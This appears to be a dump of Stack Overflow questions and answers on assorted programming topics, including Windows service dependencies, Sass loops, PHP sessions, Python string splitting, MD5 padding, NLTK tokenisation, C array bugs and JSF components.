2328372	0	 <p>You can specify the dependencies of your Windows Service to have it require another service. If you specify a dependency on the EventLog service, then Windows will wait until your service is shut down before shutting down the Event Log.</p> <p><a href="http://kb2.adobe.com/cps/400/kb400960.html" rel="nofollow noreferrer">http://kb2.adobe.com/cps/400/kb400960.html</a> describes how to do it by modifying a few registry keys.</p> <blockquote> <p>Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services and locate the service that you need to set a dependency for. Open the 'DependOnService' key on the right side. If the selected service does not have a 'DependOnService' key, then create one by right-clicking and selecting New > Multi-String Value. In the value field, enter the names of all services that the current service will depend on. Each service name must be entered properly and on a separate line.</p> </blockquote>
4189778	0	 <p>The CLR makes no guarantees with respect to the order that finalizers will be called. It sees a group of unrooted objects (e.g. not reachable from any GC root) and starts calling finalizers. It doesn't matter that you have connections within your object graph. The finalizers can be called in any order. Finalizers are intended to clean up unmanaged resources, not child objects. You need to re-think your API.</p>
6780483	0	 <p>As a lot of people have suggested, Resource Leaks are fairly easy to cause - like the JDBC examples. Actual Memory leaks are a bit harder - especially if you aren't relying on broken bits of the JVM to do it for you...</p> <p>The ideas of creating objects that have a very large footprint and then not being able to access them aren't real memory leaks either. If nothing can access it then it will be garbage collected, and if something can access it then it's not a leak...</p> <p>One way that <em>used</em> to work though - and I don't know if it still does - is to have a three-deep circular chain. As in Object A has a reference to Object B, Object B has a reference to Object C and Object C has a reference to Object A. The GC was clever enough to know that a two deep chain - as in A &lt;--> B - can safely be collected if A and B aren't accessible by anything else, but couldn't handle the three-way chain...</p>
24880090	0	How can I use @for in sass to assign background positions to multiple classes <p>Ok so here's my code:</p> <pre><code>.file-icon,.folder-icon{ $size:24px; position: absolute; top: 10px; left: 44px; display: block; float: left; width: $size; height: $size; margin-right: 10px; background: $driveIcon; &amp;.folder-close{ background-position: 0 -72px; &amp;.folder-open{ background-position: -$size -72px; } } &amp;.archiveIcon{ background-position: -$size*2 -72px; } &amp;.audioIcon{ background-position: -$size*3 -72px; } &amp;.brokenIcon{ background-position: -$size*4 -72px; } &amp;.docIcon{ background-position: -$size*5 -72px; } &amp;.imgfile{ background-position: -$size*6 -72px; } &amp;.pdfIcon{ background-position: -$size*7 -72px; } &amp;.pptx{ background-position: -$size*8 -72px; } &amp;.txtIcon{ background-position: -$size*9 -72px; } &amp;.unknown{ background-position: -$size*10 -72px; } &amp;.videoIcon{ background-position: -$size*11 -72px; } &amp;.xlsIcon{ background-position: -$size*12 -72px; } &amp;.viewer{ background-position: -$size*13 -72px; &amp;.folder-open{ background-position: -$size*14 -72px; } } &amp;.owner{ background-position: -$size*15 -72px; &amp;.folder-open{ background-position: -$size*16 -72px; } } &amp;.moderator{ background-position: -$size*17 -72px; &amp;.folder-open{ background-position: -$size*18 -72px; } } } </code></pre> <p>What I want to do is automate this assigning of background positioning. I tried using @for for the actual statement but not able to figure out how to assign the results one by one to my custom second classes. Please help me out, i'm a beginner in sass. Thankyou.</p> <p>This is what I've done up till now:</p> <pre><code>@for $i from 0 to 18{ background-position: -($size*$i} -72px; } </code></pre>
23225683	0	PHP nested array in $_SESSION <p>I'm trying to do a simple nested array in a session variable. But I'm having a hard time wrapping my head around the logic for the dynamic creation of the arrays.</p> <p>What I think my code should look like (which I know is wrong, because I want it to be dynamic):</p> <p>Page 1:</p> <pre><code>session_start(); $_SESSION['test'] = array(); </code></pre> <p>Page 2: </p> <pre><code>session_start(); $_SESSION['test'][0] = array('name' =&gt; 'john smith', 'age' =&gt; '20', 'city' =&gt; 'new york'); $_SESSION['test'][1] = array('name' =&gt; 'jane doe', 'age' =&gt; '42', 'city' =&gt; 'seattle'); </code></pre> <p>I want to be able to do a foreach loop to grab the values</p> <pre><code>foreach($_SESSION['test'] as $test){ echo "Name " . $test['name']; echo "Age " . $test['age']; echo "City " . $test['city']; } </code></pre>
40567470	1	Split in python and strip whitespace <p>I am learning Python, and currently working on reading in a file, splitting the lines and then printing specific elements. I am having trouble splitting multiple times though. The file I am working on has many lines that look like this</p> <pre><code>c0_g1_i1|m.1 gi|74665200|sp|Q9HGP0.1|PVG4_SCHPO 100.00 372 0 0 1 372 1 372 0.0 754 </code></pre> <p>I am trying to split it, first by tab and newline "/t/n", and then split the elements with |, I have tried .split and .strip and am not having much luck. I figured maybe if I just worked on a single line I could get the idea down, and then modify it into a loop that would access the file</p> <pre><code>blast_out = ("c0_g1_i1|m.1 gi|74665200|sp|Q9HGP0.1|PVG4_SCHPO 100.00 372 0 0 1 372 1 372 0.0 754") fields = blast_out.strip(' \t\r\n').split() subFields = fields.split("|") print(fields) print(subFields) </code></pre> <p>print(fields)</p> <pre><code>['c0_g1_i1|m.1', 'gi|74665200|sp|Q9HGP0.1|PVG4_SCHPO', '100.00', '372', '0', '0', '1', '372', '1', '372', '0.0', '754'] </code></pre> <p>print(subFields) generates an error </p> <pre><code>subFields = fields.split('|') AttributeError: 'list' object has no attribute 'split' </code></pre> <p>This is what I did just to try to strip the whitespace and the tabs, then to split on | but it doesn't seem to do anything. Eventually my desired output from this single string would be </p> <pre><code>c0_g1_i1 m.1 Q9HGP0.1 100.0 </code></pre>
9288021	0	 <p>I think you need to use the constant <code>JSON_HEX_QUOT</code></p> <p>this seems to work:</p> <pre><code>$options = array(JSON_HEX_QUOT); $json = Zend_JSON($value, $cyclecheck, $options); </code></pre> <p>I got deeper into the Zend/Json.php code and it looks like if you'd like to use JSON_HEX_QUOT you're going to have to use the PHP function as Zend_Json doesn't pass the constant.</p> <pre><code> // Encoding if (function_exists('json_encode') &amp;&amp; self::$useBuiltinEncoderDecoder !== true) { $encodedResult = json_encode($valueToEncode); </code></pre> <p>I think this is because ZF is coded to the PHP 5.2.6 standard and $options was added to json_encode in PHP 5.3.0</p> <p>here is the reference from the php manual:</p> <blockquote> <p><strong>Example #2</strong> *A json_encode() example showing all the options in action*</p> <p><code>&lt;?php $a = array('&lt;foo&gt;',"'bar'",'"baz"','&amp;blong&amp;');</code></p> <p>echo "Normal: ", json_encode($a), "\n"; echo "Tags: ",<br> json_encode($a,JSON_HEX_TAG), "\n"; echo "Apos: ",<br> json_encode($a,JSON_HEX_APOS), "\n"; echo "Quot: ",<br> json_encode($a,JSON_HEX_QUOT), "\n"; echo "Amp: ",<br> json_encode($a,JSON_HEX_AMP), "\n"; echo "All: ",<br> json_encode($a,JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_QUOT|JSON_HEX_AMP), "\n\n";</p> <p>$b = array();</p> <p>echo "Empty array output as array: ", json_encode($b), "\n"; echo "Empty array output as object: ", json_encode($b, JSON_FORCE_OBJECT), "\n\n";</p> <p>$c = array(array(1,2,3));</p> <p>echo "Non-associative array output as array: ", json_encode($c), "\n"; echo "Non-associative array output as object: ", json_encode($c, JSON_FORCE_OBJECT), "\n\n";</p> <p>$d = array('foo' => 'bar', 'baz' => 'long');</p> <p>echo "Associative array always output as object: ", json_encode($d), "\n"; echo "Associative array always output as object: ", json_encode($d, JSON_FORCE_OBJECT), "\n\n";</p> </blockquote>
14954554	0	 <p>Probably reason of those twitches is endless loop. When your <code>p:selectCheckboxMenu</code> is shown remote command is called, and <code>p:selectCheckboxMenu</code> is updated and it is shown again and remote command is called again... And this never ends. It is strange that you are updating component in <code>onShow</code>. You probably should do this in moment when conditions for updating are changed, this is not place where you should update component. If this <code>p:selectCheckboxMenu</code> is for example dependent on some <code>p:selectOneMenu</code> update it when value of <code>p:selectOneMenu</code> is changed.</p>
2220308	0	 <p>Try slipping something like this into your jquery:</p> <pre><code>$("#fancy_outer").css({"float":"right","position":"static"}); </code></pre>
37566814	0	 <p>Without a <a href="http://stackoverflow.com/help/mcve">Minimal, Complete, and Verifiable example</a> nobody can really help you. Nevertheless, this sticks out in a major way:</p> <pre><code>if(prev-&gt;next=NULL) { prev-&gt;next=temp; } </code></pre> <p>You assign <code>NULL</code> to <code>prev-&gt;next</code> instead of comparing it with <code>==</code>.</p>
12569923	0	 <p>You may try this</p> <pre><code>var map, locations = [ [43.82846160000000000000, -79.53560419999997000000], [43.65162010000000000000, -79.73558579999997000000], [43.75846240000000000000, -79.22252100000003000000], [43.71773540000000000000, -79.74897190000002000000] ]; var myOptions = { zoom: 6, center: new google.maps.LatLng(locations[0][0], locations[0][1]), mapTypeId: google.maps.MapTypeId.ROADMAP }; map = new google.maps.Map($('#map')[0], myOptions); var infowindow = new google.maps.InfoWindow(), marker, i; for (i = 0; i &lt; locations.length; i++) { marker = new google.maps.Marker({ position: new google.maps.LatLng(locations[i][0], locations[i][1]), map: map }); google.maps.event.addListener(marker, 'click', (function(marker, i) { return function() { infowindow.setContent('Current location is: '+ locations[i][0]+', '+locations[i][1]); infowindow.open(map, marker); } })(marker, i)); } </code></pre> <p><a href="http://jsfiddle.net/X5r8r/652/" rel="nofollow"><strong>DEMO</strong></a>.</p>
17264742	0	 <ol> <li>xmlDoc is not defined somewhere</li> <li>you open the XMLHttpRequest, but you <strong>did not send it</strong></li> </ol>
8793452	0	MEF, IOC or Prism? Best approach to develop Silverlight client to RIA Services <p>I need to get correct decision for the long-term project about what to choose: MEF, IOC or Prism.</p> <p>Which is the best approach to develop Silverlight website (RIA Services).</p> <p>Basically it has complex UI.</p> <p>Thank you for any clue!</p>
33475404	0	At Which Position MD5-PADDING starts? <p>I'm trying to implement MD5 File-Hash in and I think it will be finished in the near future. Currently I need to append the PADDING but i don't understand how this works.</p> <p>Example: I have a file with 109 Bytes of data.</p> <pre><code>// 512 Bit 360 Bit // ------------- ------------- // |xxxxxxxxxxx| |xxxxxx | // ------------- ------------- </code></pre> <p>When appending the PADDING to the data, does it have to look like this:</p> <pre><code>// 512 Bit 360 Bit 512 Bit // ------------- ------------- ------------- // |xxxxxxxxxxx| |xxxxxx|1|00| |00000000|64| // ------------- ------------- ------------- </code></pre> <p>or this</p> <pre><code>// 512 Bit 512 Bit // ------------- ------------- // |xxxxxxxxxxx| |xxx|1|00|64| // ------------- ------------- </code></pre> <p>or this?</p> <pre><code>// 512 Bit 360 Bit 512 Bit // ------------- ------------- ------------- // |xxxxxxxxxxx| |xxxxxx | |10000000|64| // ------------- ------------- ------------- </code></pre> <p>I'm confused. After Consulting the RFC1321 Text I think to use the Padding in the SAME Block if it is possible to pad inside a block. And if this doesn't fit then use a new block. </p> <p>Am I right?</p> <p>EDIT: Need more detail.</p> <p>Where will the padding be appended? after the last data bit or the last data byte? or is this the same?</p> <p>Like this?</p> <pre><code> 512 Bit-Block -------------------------------------------------- |1|1|0|X0000000| |0|0|0|0|0|0|0|1| |0|0|0|00000000| |0|0|0|0|0|0|0|0| |0|0|4|00000000| |0|0|0|0|0|0|0|1| |0|0|6|00000000| ... |0|0|0|0|0|0|0|1| |1|1|8|00000000| |0|0|0|0|0|0|0|1| |1|1|0|00000000| |0|0|0|0|0|0|0|1| |0|1|0|00000000| |0|0|0|0|0|0|0|1| |1|1|0|00000000| |0|0|0|0|0|0|0|0| -------------------------------------------------- |DATA |PADDING | 64 Bit counter| </code></pre> <p>or like this?</p> <pre><code> 512 Bit-Block -------------------------------------------------- |1|1|0|00000000| |0|0|0|0|0|0|0|1| |0|0|0|00000000| |0|0|0|0|0|0|0|0| |0|0|4|00000000| |0|0|0|0|0|0|0|1| |0|0|6|00000000| ... |0|0|0|0|0|0|0|1| |1|1|8|00000000| |0|0|0|0|0|0|0|1| |1|1|X|00000000| |0|0|0|0|0|0|0|1| |0|1|0|00000000| |0|0|0|0|0|0|0|1| |1|1|0|00000000| |0|0|0|0|0|0|0|0| -------------------------------------------------- |DATA |PADDING | 64 Bit counter| </code></pre>
7606244	0	How should my Rails before_validation callbacks handle bad data? <p>I have several before_validation callbacks that operate on the attributes being set on my model. I run into trouble when I have a situation like this:</p> <pre><code>class Foo &lt; ActiveRecord::Base before_validation :capitalize_title validates :title, :presence =&gt; true def capitalize_title title.upcase end end </code></pre> <p>I write a test to ensure that 'nil' title is not allowed, but the test gets an error because the nil.upcase is not defined. I'd like to handle this error, but I already have error handling that runs after before_validation callbacks.</p> <p>I don't want to put checks around all of my before_validation callbacks to make sure the data exists, if I can avoid it.</p> <p>Is there a clean or accepted way to deal with this type of situation?</p>
35083769	1	How to use nltk sentence tokenizer in case of bulleted-data or listed data? <p>I am using nltk sentence tokenizer to fetch sentences of files.<br> But it fails terribly when there are bullets/listed data.</p> <p><a href="http://pastebin.com/6YA1JNzb" rel="nofollow">Example text</a></p> <p>Code I am using is: </p> <pre><code>dataFile = open(inputFile, 'r') fileContent = dataFile.read() fileContent = re.sub("\n+", " ", fileContent) sentences = nltk.sent_tokenize(fileContent) print(sentences) </code></pre> <p>I want the sentence tokenizer to give each bullet as a sentence.</p> <p>Can someone please help me here? Thanks! </p> <p><strong>Edit1</strong>:<br> Raw ppt sample: <a href="http://pastebin.com/dbwKCESg" rel="nofollow">http://pastebin.com/dbwKCESg</a><br> Processed ppt data: <a href="http://pastebin.com/0N64krKC" rel="nofollow">http://pastebin.com/0N64krKC</a></p> <p>I will recieve only the processed data file and need to sentence tokenize on the same.</p>
8203330	0	 <p>First off, "compiler" does <strong>not</strong> imply "outputs machine code". You can compile from any language to any other, be it a high-level programming language, some intermediate format, code for a virtual machine (bytecode) or code for a physical machine (machine code).</p> <ol> <li><p>Like a compiler, an interpreter needs to read and understand the language it implements. Thus you have the same front-end code (though today's interpreters usually implement far simpler language - the bytecode only; therefore these interpreters only need a very simple frontend). Unlike a compiler, an interpreter's backend doesn't generate code, but executes it. Obviously, this is a different problem entirely and hence an interpreter looks quite difference from a compiler. It emulates a computer (often one that's far more high-level than real life machines) instead of producing a representation of an equivalent program.</p></li> <li><p>Assuming today's somewhat-high-level virtual machines, this is the job of the interpreter - there are dedicated instructions for, among other things, calling functions and creating objects, and garbage collection is baked into the VM. When you target lower-level machines (such as the x86 instruction set), many such details need to be baked into the generated code, be it directly (system calls or whatever) or via calling into the C standard library implementation.</p></li> </ol> <p>3.</p> <ul> <li><p>a) Probably not, as a VM dedicated to Python won't require it. It would be very easy to screw up, unnecessary and arguably incompatible to Python semantics as it allows manual memory management. On the other hand, if you were to target something low-level like LLVM, you'd have to take special care - the details depend on the target language. That's part of why nobody does it.</p></li> <li><p>b) It would be a perfectly fine compiler, and obviously not an interpreter. You'd probably have a simpler backend than a compiler targeting machine code, and due to the nature of the input language you wouldn't have quite as much analysis and optimization to do, but there's no fundamental difference.</p></li> </ul>
12256418	0	radio is not SELECTED, how to set "selected"? <p>One of my radio should selected when initialize (first load then user can change the selection), but radio is not selected first time, how to initialize "Selected" appropriately?</p> <p><strong>Here radio "Two" should selected as "selected" is True for this?</strong></p> <pre><code>@using (Html.BeginForm("Index", "Two", FormMethod.Post, new Dictionary&lt;string, object&gt; { { "data-bind", "submit:onSubmit" } })) { &lt;table&gt; &lt;tr&gt; &lt;td&gt; &lt;div data-bind="foreach: items"&gt; &lt;input type="radio" name="items" data-bind="attr: { value: id }, checked: $root.selected" /&gt; &lt;span data-bind="text: name"&gt;&lt;/span&gt; &lt;/div&gt; &lt;div data-bind="text: selected"&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;input type="submit" name="send" value="Send" /&gt; } &lt;script type="text/javascript"&gt; var viewModel = { items: [ { "id": 1, "name": "one", "selected": false }, { "id": 2, "name": "two", "selected": true }, { "id": 3, "name": "three", "selected": false } ], selected: ko.observable(), onSubmit: function(){ var x = this.selected(); } }; $(function() { ko.applyBindings(viewModel); }); &lt;/script&gt; </code></pre>
26455109	0	 <p>Thank you for giving you time to answer me Alex D with some information :) It was to long to comment to your answer.</p> <ol> <li><p>I´m understanding most of those instruction does. I know now that cmp is the big part that I have to watch for.</p></li> <li><p>I think I know some about call stack.</p></li> <li><p>I should know how if else and for in C are translated into assembly.</p></li> <li><p>I´ve been watching in gdb using stepping how it goes through the loops (jumps) and have got to 5 jumps now and stop at the 6th one so I think I´m getting closer.</p></li> <li><p>Think it´s EAX if I´m watching gdb, it´s getting higher with stepping.</p></li> <li><p>Don´t think I could tell that.</p></li> </ol> <p>Thank you again for giving time to comment back, think it will be much easier when the lights turn on in my head :)</p>
35631239	0	 <p>Try put $("#tabs").tabs(); first</p>
39513539	0	 <p>What about </p> <pre><code>for( $i = 0; $i &lt; 3; $i++) { echo $i."&lt;br&gt;"; } </code></pre> <p>or</p> <pre><code>for( $i = 0; $i &lt;= 10; $i++) { echo $i."&lt;br&gt;"; if ($i == 2) break; } </code></pre> <p>?</p>
22768050	0	 <p>There is no predefined function of that kind in Armadillo.</p> <p>Here is a quick self-made version, that however will not benefit from any delayed expression evaluation template features of Armadillo:</p> <pre class="lang-cpp prettyprint-override"><code>#include &lt;cassert&gt; #include &lt;cmath&gt; #include &lt;armadillo&gt; #include &lt;iostream&gt; template&lt;class Object&gt; Object elementwise_pow(const Object&amp; base, const Object&amp; p) { assert(base.n_elem == p.n_elem); Object result; result.copy_size(base); for (std::size_t i = 0; i &lt; result.n_elem; ++i) { result[i] = std::pow(base[i], p[i]); } return result; } int main() { arma::mat m(3,3); m.fill(2.); arma::mat p(3,3); p &lt;&lt; 1 &lt;&lt; 2 &lt;&lt; 3 &lt;&lt; arma::endr &lt;&lt; 4 &lt;&lt; 5 &lt;&lt; 6 &lt;&lt; arma::endr &lt;&lt; 7 &lt;&lt; 8 &lt;&lt; 9 &lt;&lt; arma::endr; arma::mat r = elementwise_pow(m, p); r.print(std::cout); return 0; } </code></pre> <p>An optimizing compiler should also easily <strong>vectorize</strong> this code.</p>
30324222	0	 <p>actually the solution is to use custom listviews</p> <p><a href="http://javatechig.com/xamarin/listview-example-in-xamarin-android" rel="nofollow">http://javatechig.com/xamarin/listview-example-in-xamarin-android</a></p>
14707533	0	jquery get specific html for inner class? <pre><code>var myhtml= '&lt;td class="dataCell"&gt;&lt;table border="0" bordercolor="#FFFFFF" cellpadding="0" cellspacing="0" width="100%"&gt;&lt;tbody&gt;&lt;tr bgcolor="#FFFFFF"&gt;&lt;td&gt;&lt;div align="right"&gt;1.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Kabul Edildi - İZMİR(ÇAMDİBİ/ÇAMDİBİ)&lt;/td&gt;&lt;td&gt;&lt;div&gt;04/02/2013 16:06:16&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;div align="right"&gt;2.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Torbaya Eklendi - İZMİR(ÇAMDİBİ/ÇAMDİBİ)&lt;/td&gt;&lt;td&gt;&lt;div&gt;04/02/2013 16:09:33&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#FFFFFF"&gt;&lt;td&gt;&lt;div align="right"&gt;3.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Gönderinin Geliş Kaydı Yapıldı - İZMİR(İZMİR K.İ.M/MERKEZ)&lt;/td&gt;&lt;td&gt;&lt;div&gt;04/02/2013 18:01:35&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;div align="right"&gt;4.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Torbaya Eklendi - İZMİR(İZMİR K.İ.M/MERKEZ)&lt;/td&gt;&lt;td&gt;&lt;div&gt;04/02/2013 18:52:15&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#FFFFFF"&gt;&lt;td&gt;&lt;div align="right"&gt;5.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Gönderinin Geliş Kaydı Yapıldı - AYDIN(AYDIN POS.DAG.VE TOP/AYDIN POS.DAG.VE TOP)&lt;/td&gt;&lt;td&gt;&lt;div&gt;05/02/2013 02:22:20&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;div align="right"&gt;6.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Torbaya Eklendi - AYDIN(AYDIN POS.DAG.VE TOP/AYDIN POS.DAG.VE TOP)&lt;/td&gt;&lt;td&gt;&lt;div&gt;05/02/2013 02:35:34&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr bgcolor="#FFFFFF"&gt;&lt;td&gt;&lt;div align="right"&gt;7.&lt;/div&gt;&lt;/td&gt;&lt;td&gt;Gönderinin Geliş Kaydı Yapıldı - AYDIN(SÖKE/SÖKE)&lt;/td&gt;&lt;td&gt;&lt;div&gt;05/02/2013 09:27:41&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;'; $('#siptakip_1360003997').html($('.dataCell', myhtml)); // -&gt;not work.... $('#siptakip_1360003997').html(jQuery(myhtml).find('.dataCell').html()); // -&gt;not work.... </code></pre> <p>Why is my Jquery code not working? How can I fix it?</p>
4548127	0	 <p>If you prefer/are stuck with bash, perhaps you are looking for <a href="http://linux.die.net/man/1/expect" rel="nofollow">expect</a>?</p> <p>More on that here: <a href="http://wiki.tcl.tk/11583" rel="nofollow">http://wiki.tcl.tk/11583</a></p>
25940643	0	Missing array data in C <p>I have a code which creates an array of 1000 random entries and a routine which bins them in to a histogram. When I look at the results of the histogram I see that there are a lot more 0s than there should be. I can debug the code and I find that while my original array seems correct, after I pass the array to the next routine the last few entries are now 0. Furthermore, if I run a few more lines in the same routine, even more of the entries turn to 0. Does anyone have an idea as to what might be causing this? </p> <p>Here is the code for reference:</p> <pre><code>int n = 1000; int m = 100; double r; double *p;//line 22 p = generate_random( n ); //returns array of length n containing random numbers between 0 and 1 r = group(p, m, n); ... double group(double* rnd, int m, int n) { int count[100] = { 0 }; int length = n; int i, bin;//line 66 double dx = 1/(double) m;//length of each interval for (i = 0; i &lt; length; i++) { bin = (int) floor(*(rnd+i)/dx);//line 71 count[bin]++;//count[0] should be the number of random elements between 0 and 0.1 } ...//some more code that sets return double </code></pre> <p>When I enter the debugger at line 22 after creating p, I can see that p contains 1000 random numbers:</p> <pre><code>print *p = 0.78846 print *(p+851) = 0.3475 print *(p+999) = 0.9325 </code></pre> <p>At line 66 it contains less:</p> <pre><code>print *rnd = 0.78846 print *(rnd+851) = 0.3475 print *(rnd+999) = 0 </code></pre> <p>And at line 71 (i = 0) even less:</p> <pre><code>print *rnd = 0.78846 print *(rnd+851) = 6.9533e-310 print *(rnd+999) = 0 </code></pre> <p>Edit: Here is the code for generate_random:</p> <pre><code>double * generate_random( int n ) { const unsigned int a = 1664525; const unsigned int b = 1013904223; const unsigned int M = pow(2,32); int i; double random_numbers[n]; unsigned int rnd = time(NULL)%M; //number of seconds since 00:00 hours, // Jan 1, 1970 UTC for (i = 0; i &lt; n; i++) { rnd = (a*rnd + b)%M; random_numbers[i] = (double) rnd; //map to [0,1] random_numbers[i] = random_numbers[i]/M; } return random_numbers; } </code></pre>
24815219	0	 <p>Ok, to answer your question the way you want it because you're being difficult. If you want a different answer, I highly suggest that you actually ask the question you want answered.</p> <p>I am compiling this code, first with only region 1 and then second with only region 2:</p> <pre><code>int var_a = 0; //... //Some code that fetches var_a from db if db field is not null //... // region 1 if(var_a != null &amp;&amp; var_a &gt; 0) var_a = -1; //region 2 if(var_a != null){ if (var_a &gt; 0) var_a = -1; } </code></pre> <p>If I extract the IL code for region 1, I get this:</p> <pre><code>IL_0015: nop IL_0016: ldc.i4.0 IL_0017: stloc.0 IL_0018: ldloc.0 IL_0019: ldc.i4.0 IL_001a: cgt IL_001c: ldc.i4.0 IL_001d: ceq IL_001f: stloc.1 IL_0020: ldloc.1 IL_0021: brtrue.s IL_0025 IL_0023: ldc.i4.m1 IL_0024: stloc.0 IL_0025: ldloc.0 </code></pre> <p>And for region 2, I get this:</p> <pre><code>IL_0015: nop IL_0016: ldc.i4.0 IL_0017: stloc.0 IL_0018: ldc.i4.1 IL_0019: ldc.i4.0 IL_001a: ceq IL_001c: stloc.1 IL_001d: nop IL_001e: ldloc.0 IL_001f: ldc.i4.0 IL_0020: cgt IL_0022: ldc.i4.0 IL_0023: ceq IL_0025: stloc.1 IL_0026: ldloc.1 IL_0027: brtrue.s IL_002b IL_0029: ldc.i4.m1 IL_002a: stloc.0 IL_002b: nop IL_002c: ldloc.0 </code></pre> <p>So, yes, there is a slightly difference. JetBrains DotPeek shows a difference.</p> <p>Region 1:</p> <pre><code>if (num &gt; 0) num = -1; </code></pre> <p>Region 2:</p> <pre><code>int num = 0; bool flag = 1 == 0; if (num &gt; 0) num = -1; </code></pre> <p>Whereas JustDecompile cleans things up a bit and shows the same IL->C# conversion for both:</p> <pre><code>if (var_a &gt; 0) { var_a = -1; } </code></pre> <p>Since you care so much about efficiency, I've written a quick bit of code to try and benchmark the difference:</p> <pre><code>Random rn = new Random(); List&lt;int&gt; l = new List&lt;int&gt;(); System.Diagnostics.Stopwatch sw = new System.Diagnostics.Stopwatch(); for (int j = 1; j &lt;= 20; ++j) { l.Clear(); sw.Start(); if (j % 2 == 0) { Console.Write("A: "); for (int i = 0; i &lt; 100000000; ++i) { int var_a = rn.Next(1, 10000) * (rn.NextDouble() &lt;= 0.5 ? -1 : 1); if (var_a != null) if (var_a &gt; 0) var_a *= -1; l.Add(var_a); } } else { Console.Write("B: "); for (int i = 0; i &lt; 100000000; ++i) { int var_a = rn.Next(1, 10000) * (rn.NextDouble() &lt;= 0.5 ? -1 : 1); if (var_a != null &amp;&amp; var_a &gt; 0) var_a *= -1; l.Add(var_a); } } sw.Stop(); Console.WriteLine(sw.Elapsed.TotalMilliseconds); sw.Reset(); } </code></pre> <p>Values for A:</p> <pre><code>2918.6503 2910.8609 2916.2404 2909.5394 2914.0309 2961.0775 2948.4139 2957.1939 2962.1737 </code></pre> <p>Values for B:</p> <pre><code>3170.8064 2891.6971 2924.8533 2890.6248 2885.1991 2890.6321 2887.0145 2935.6778 2909.035 </code></pre> <p>The average for the entire 100,000,000 execution cycle for A vs B is <code>2933 ms</code> vs <code>2932 ms</code> respectively.</p> <p>Per execution of the internal block, that's <code>2.9331 * 10^-5</code> vs <code>2.9317 * 10^-5</code>.</p> <p>Now we've got down to this, I have to ask why you would be writing a program in as high a level language as C# when you care about something that makes <code>0.000000014045333333 ms</code> difference between one way and the other. Perhaps you should try something more low level like Assembly? All in all, this discrepancy could still come down to activity of the CPU during that operation doing other things for Windows.</p> <p>I hope this answer goes into the depth you've come to expect from StackOverflow.</p>
36473394	0	 <p>It's not necessary to give each div it's own class or ID.</p> <p>You could give them all the same class and use the jQuery eq: filter to choose the correct div.</p> <p>Example code:</p> <pre><code>$(".custom button").click(function(){ var nextDiv = $(this).attr('data-id'); // Usually a +1 for the next div, but since eq filter is zero based, it works in this case. $('.custom').hide(); $('.custom:eq(' + nextDiv + ')').show(); }); </code></pre> <p>Working example: <a href="https://jsfiddle.net/ore5h6tk/" rel="nofollow">https://jsfiddle.net/ore5h6tk/</a></p> <p>Another example, hiding all but the first with CSS: <a href="https://jsfiddle.net/ore5h6tk/1/" rel="nofollow">https://jsfiddle.net/ore5h6tk/1/</a></p> <p>Hope this helps.</p>
8724719	0	Group Multiple Tables in LINQ <p>I have a very simple SQL query </p> <pre><code>Select r.SpaceID,Count(*), SpaceCode from Rider r join Spaces s on r.SpaceID=s.SpaceID Group By r.SpaceID, s.SpaceCode </code></pre> <p>Please note that my group by clause is on multiple tables, i want to do the same in linq, i know how to group single table, but about multiple tables i have no idea.</p>
689424	0	 <p>The only way I can think of is to use <strong>Eclipse File Search dialog</strong> for all <em>.java</em> files and use this regular expression as input:</p> <pre><code>"(?s:/\*\*([^\*]|\*[^/])*?###INPUT###.*?\*/)" </code></pre> <p>and replace the ###INPUT### with what you are searching for.</p> <p>See this <a href="http://stackoverflow.com/questions/689354/regex-for-matching-javadoc-fragments">other question</a> about this regex.</p>
19730151	0	Unable to retrieve videos from youtube with youtube-api <p>I'm developing a GWT application witch reads and displays videos from youtube. With that purpose in mind I started using gwt-youtube-api.</p> <p>I can display a player and play the video from youtube accordingly but I'm unable to search videos on youtube.</p> <p>The following code should retrieve the most recent videos from youtube, but it doesn't do anything. After making RPC call I can't see any results for both onSucess and onFailure:</p> <pre><code>import java.util.List; import com.google.gdata.client.youtube.YouTubeManager; import com.google.gdata.data.youtube.VideoEntry; import com.google.gdata.data.youtube.VideoFeed; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.core.client.GWT; import com.google.gwt.user.client.rpc.AsyncCallback; public class Webmetalmore implements EntryPoint { @Override public void onModuleLoad() { YouTubeManager youTubeManager = new YouTubeManager(); youTubeManager.retrieveMostRecent(new AsyncCallback&lt;VideoFeed&gt;() { @Override public void onSuccess(VideoFeed result) { List&lt;VideoEntry&gt; entries = result.getEntries(); for (VideoEntry entry: entries){ System.out.println(entry.getTitle()); } } @Override public void onFailure(Throwable caught) { GWT.log("Unable to obtain videos from youtube service", caught); } }); } } </code></pre> <p>Any ideas of what I'm doing wrong? Thank you</p>
9405278	0	How to save state when extending UIComponentBase <p>I'm creating a composite component that will wrap a datatable to implement very simple paging. I need to save state (the current page number) between ajax requests.</p> <p>I tried creating fields in my FacesComponent, but I discovered they are wiped out during the JSF lifecycle:</p> <pre><code>@FacesComponent(value = "bfTableComponent") public class BFTableComponent extends UIComponentBase implements NamingContainer { private int currentPageNumber; ... </code></pre> <p>I can't seems to find a concise guide to doing this anywhere! How would one save state between requests when creating a composite component?</p>
